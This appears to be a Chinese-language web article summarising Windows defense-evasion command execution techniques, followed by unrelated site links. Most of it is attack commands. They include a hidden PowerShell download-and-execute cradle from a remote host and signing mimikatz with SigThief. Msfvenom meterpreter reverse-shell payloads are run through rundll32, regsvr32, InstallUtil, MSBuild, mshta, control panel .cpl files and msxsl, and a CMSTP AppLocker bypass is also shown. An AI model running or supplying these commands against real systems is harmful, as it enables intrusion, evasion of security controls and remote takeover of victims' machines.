Windows命令执行防御规避总结
时间:2023-01-24 13:20:08
今天小编为大家带来Windows命令执行防御规避总结,具体如下:
powershell
powershell.exe -nop -w hidden -c \“IEX ((new-object net.webclient).downloadstring(‘https://xx.xx.xx.xx:8888/logo.gif’))\”“ /f
SIP
通过sip劫持对恶意代码签名获得系统信任https://github.com/secretsquirrel/SigThief
python sigthief.py -i consent.exe -t mimikatz.exe -o signed-mimikatz.exe
rundll32.exe
生成
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f dll 》xxx.dll
目标执行
rundll32.exe shell32.dll,Control_RunDLL xxx.dll
Regsvr32.exe
msfconsole
auxiliary/server/regsvr32_command_delivery_server
set CMD net user test 123456 /add
目标执行
regsvr32 /s /n /u /i:https://xx.xx.xx.xx:8080/aPxOb0o scrobj.dll
InstallUtil.exe
1.编译后门:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319》csc.exe /r:System.EnterpriseServices.dll /unsafe /target:library /out:xxx.exe /keyfile:”C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\x64\key.snk“ xxx.cs
2.靶机上运行:
InstallUtil.exe /U xxx.exe
3.msf监听,得到反弹的shell:
set payload windows/x64/meterpreter/reverse_tcp
set LHOST xx.xx.xx.xx
set LPORT 4444
exploit
Msbuild.exe
MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台,MSBuild可编译特定格式的xml文件
https://github.com/3gstudent/msbuild-inline-task
msf生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444
-f csharp
使用shellcode替换https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml中的shellcode部分
msf监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set lport 4444
exploit
运行
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe exec64.xml
CMSTP
cmstp.exe /s /ns C:\Users\administrator\AppData\Local\Temp\XKNqbpzl.txt绕过AppLocker并启动恶意脚本
Mshta.exe
Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 的实用程序,攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理执行恶意代码
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) 》 set srvhost xx.xx.xx.xx
msf exploit(windows/misc/hta_server) 》 exploit
mshta.exe https://xx.xx.xx.xx:8080/xxxxxxx.hta
控制面板
攻击者可以使用控制面板项作为有效载荷来执行任意命令,控制面板项是注册的可执行文件(.exe)或控制面板(.cpl)文件,可以直接从命令行执行或通过Control_RunDLL(API)调用或者直接双击文件。
攻击者构造恶意的dll文件CPIApplet.dll
利用msf生成dll文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=170.170.64.17 LPORT=4444 -f dll 》 /tmp/CPIApplet.dll
传入windows机器,然后重命名为CPIApplet.cpl,通过control.exe c:\users\administrator\desktop\CPIApplet.cpl 执行命令
通过msxsl.exe调用恶意xml文件执行脚本
制作两个文件
customers.xml
script.xsl
xmlns:xsl=”https://www.w3.org/1999/XSL/Transform“
xmlns:msxsl=”urn:schemas-microsoft-com:xslt“
xmlns:user=”https://mycompany.com/mynamespace“》
function xml(nodelist) {
var r = new ActiveXObject(”WScript.Shell“).Run(”cmd.exe /k calc.exe“);
return nodelist.nextNode().xml;
}
开启http服务
python3 -m http.server 80
远程下载执行
msxsl.exe https://xx.xx.xx.xx/customers.xml https://xx.xx.xx.xx/scrip.xsl
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
Navicat Mac如何使用搜索筛选
![](https://img.aspxhome.com/file/2023/2/a208252_0s.png)
xp系统电脑开机慢有什么办法解决
![](https://img.aspxhome.com/file/2023/4/a307205_0s.png)
快速辨别win7系统中usb接口为3.0还是2.0的方法
![](https://img.aspxhome.com/file/2023/29/a253830_0s.png)
win10应该关闭自动更新吗?win10关闭自动更新的方法
![](https://img.aspxhome.com/file/2023/7/47747_0s.jpg)
excel的数据分析功能的使用方法
![](https://img.aspxhome.com/file/2023/0/a167820_0s.jpg)
xgpu游戏清单2022 xgpu游戏清单官网2022年1月
![](https://img.aspxhome.com/file/2023/6/a323812_0s.png)
WPS excel如何利用公式,快速将一串数字转换为日期格式
![](https://img.aspxhome.com/file/2023/0/a185510_0s.jpg)
美图秀秀怎么换背景_美图秀秀背景底片更换详细步骤
![](https://img.aspxhome.com/file/2023/5/a315376_0s.jpg)
Win10开始菜单失灵打不开怎么办?
![](https://img.aspxhome.com/file/2023/8/53018_0s.jpg)
如何用微信微票儿退电影票 用微信微票儿退电影票的教程
谷歌浏览器卡顿严重-谷歌浏览器卡顿严重解决方法
![](https://img.aspxhome.com/file/2023/3/a301245_0s.png)
如何使用Movavi Video Editor Plus将照片制作成影片
![](https://img.aspxhome.com/file/2023/4/a210944_0s.jpeg)
ppt怎么制作连续块状流程图?
![](https://img.aspxhome.com/file/2023/10/a345617_0s.jpg )
excel表格中快速查找数据的方法
Word下划线上怎么打字?
![](https://img.aspxhome.com/file/2023/6/34856_0s.gif)
Win7旗舰版宽带连接错误769怎么解决?
![](https://img.aspxhome.com/file/2023/27/a229519_0s.png)
Win10系统自带加密文件夹的两种方法
![](https://img.aspxhome.com/file/2023/28/a245971_0s.jpg)
excel怎么制作背离式条形图?
![](https://img.aspxhome.com/file/2023/0/42510_0s.jpg)
浏览器收藏夹中的网页链接打不开的解决办法
![](https://img.aspxhome.com/file/2023/3/a301993_0s.jpg)